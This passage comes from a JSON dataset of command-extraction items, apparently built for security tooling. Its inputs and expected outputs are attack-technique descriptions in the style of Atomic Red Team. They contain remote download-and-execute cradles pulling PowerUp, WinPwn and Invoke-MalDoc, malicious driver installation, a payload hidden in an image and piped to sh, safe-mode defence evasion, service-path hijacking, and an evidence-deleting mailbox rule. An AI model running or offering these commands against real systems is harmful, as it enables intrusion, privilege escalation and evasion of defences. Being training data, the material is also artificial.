`Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows utility pnputil.exe can be exploited to install malicious drivers, which can be done by running the following command: pnputil.exe -i -a #{driver_path}; To alter RDP behavior via Virtual Channels, you can use dedicated Addins implemented as DLLs, which execute automatically during an RDP session. These DLLs are loaded on the host system only after a successful connection is established. Run the following command to configure the registry: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\\Addins\\#{Subkey_Added}\" /v Name /t REG_SZ /d \"#{dll_inf}\" /f",
    "output": "{\"command_list\": [\"pnputil.exe -i -a #{driver_path}\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\\Addins\\\\#{Subkey_Added}\\\" /v Name /t REG_SZ /d \\\"#{dll_inf}\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves encoding a script in base64, embedding it into an image, and later executing it on the target system using the following command: cat \"#{script}\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \"#{image}\" - > \"#{evil_image}\"; strings \"#{evil_image}\" | tail -n 1 | base64 -d | sh.; Endpoint defenses that don't load in limited boot can be bypassed by entering safe mode via the command: bcdedit /set safeboot network",
    "output": "{\"command_list\": [\"cat \\\"#{script}\\\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \\\"#{image}\\\" - > \\\"#{evil_image}\\\"; strings \\\"#{evil_image}\\\" | tail -n 1 | base64 -d | sh\", \"bcdedit /set safeboot network\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A common malicious behavior is spawning a command prompt to run specific commands, such as pinging an IP address, via the following command:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   Shell`$ `\"ping 8.8.8.8`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n; Adversaries can explore available containers and resources by executing this command: docker build -t t1613 $PathtoAtomicsFolder/T1613/src/\ndocker run --name t1613_container --rm -d -t t1613\ndocker ps\ndocker stats --no-stream\ndocker inspect $(docker ps -l -q --filter ancestor=t1613)",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   Shell`$ `\\\"ping 8.8.8.8`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\", \"docker build -t t1613 $PathtoAtomicsFolder/T1613/src/\\ndocker run --name t1613_container --rm -d -t t1613\\ndocker ps\\ndocker stats --no-stream\\ndocker inspect $(docker ps -l -q --filter ancestor=t1613)\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By running the following PowerShell commands, you can change a service's binary path temporarily before restoring it: Stop-Service -Name \"#{service_name}\" -force -erroraction silentlycontinue | Out-Null\nset-servicebinarypath -name \"#{service_name}\" -path \"#{new_bin_path}\"\nstart-service -Name \"#{service_name}\" -erroraction silentlycontinue | out-null; This test creates an M365 inbox rule that automatically deletes emails containing certain keywords, executed via the command: Import-Module ExchangeOnlineManagement\n$password = ConvertTo-SecureString -String \"#{auth_password}\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{auth_username}\", $password\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\"phish\",\"malware\",\"hacked\") -Confirm:$false -DeleteMessage:$true",
    "output": "{\"command_list\": [\"Stop-Service -Name \\\"#{service_name}\\\" -force -erroraction silentlycontinue | Out-Null\\nset-servicebinarypath -name \\\"#{service_name}\\\" -path \\\"#{new_bin_path}\\\"\\nstart-service -Name \\\"#{service_name}\\\" -erroraction silentlycontinue | out-null\", \"Import-Module ExchangeOnlineManagement\\n$password = ConvertTo-SecureString -String \\\"#{auth_password}\\\" -AsPlainText -Force\\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{auth_username}\\\", $password\\nConnect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue\\nNew-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (\\\"phish\\\",\\\"malware\\\",\\\"hacked\\\") -Confirm:$false -DeleteMessage:$true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check domain network-shares for cleartext passwords, use the Snaffler function of WinPwn with the following command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSnaffler -noninteractive -consoleoutput; To check PowerShell event logs for credentials or sensitive data, use the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowershellsensitive -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nSnaffler -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowershellsensitive -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using the Windows in-built binary, adversaries can compress files prior to exfiltration with the command: makecab.exe #{input_file} #{output_file}; To simulate an infected host generating excessive DNS queries for detection testing, use the following command which requires custom domain parameters: for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \"#{query_type}\" \"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\" -QuickTimeout}\n",
    "output": "{\"command_list\": [\"makecab.exe #{input_file} #{output_file}\\n\", \"for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \\\"#{query_type}\\\" \\\"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\\\" -QuickTimeout}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
